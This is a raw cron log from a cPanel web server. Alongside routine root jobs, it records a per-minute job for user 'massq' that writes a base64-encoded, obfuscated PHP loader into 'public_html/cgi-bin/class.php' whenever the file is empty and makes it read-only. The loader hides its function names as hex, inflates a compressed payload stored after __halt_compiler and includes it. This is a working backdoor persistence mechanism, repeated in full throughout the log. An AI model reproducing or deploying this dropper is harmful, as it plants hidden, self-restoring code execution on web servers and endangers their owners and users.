Sep  7 17:30:01 server CROND[18379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:30:01 server CROND[18380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:30:01 server CROND[18384]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:30:01 server CROND[18383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:30:01 server CROND[18381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:31:01 server CROND[19307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:31:01 server CROND[19308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:31:01 server CROND[19309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:32:01 server CROND[19682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:32:01 server CROND[19684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:32:01 server CROND[19683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:33:02 server CROND[20066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:33:02 server CROND[20067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:33:02 server CROND[20068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:34:01 server CROND[20431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:34:01 server CROND[20432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:34:01 server CROND[20433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:35:01 server CROND[20816]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:35:01 server CROND[20819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:35:01 server CROND[20828]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:35:01 server CROND[20833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:35:01 server CROND[20831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:35:01 server CROND[20834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:35:01 server CROND[20832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:35:01 server CROND[20829]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 17:35:01 server CROND[20830]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 17:36:01 server CROND[21779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:36:01 server CROND[21780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:36:01 server CROND[21781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:37:01 server CROND[22163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:37:01 server CROND[22165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:37:01 server CROND[22164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:38:01 server CROND[22539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:38:01 server CROND[22540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:38:01 server CROND[22547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:39:01 server CROND[23081]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 17:39:01 server CROND[23082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:39:01 server CROND[23083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:39:01 server CROND[23084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:40:01 server CROND[23478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:40:01 server CROND[23482]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:40:01 server CROND[23481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:40:01 server CROND[23487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:40:01 server CROND[23486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:40:01 server CROND[23484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:40:01 server CROND[23483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:40:01 server CROND[23485]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:41:01 server CROND[24397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:41:01 server CROND[24398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:41:01 server CROND[24399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:42:01 server CROND[24778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
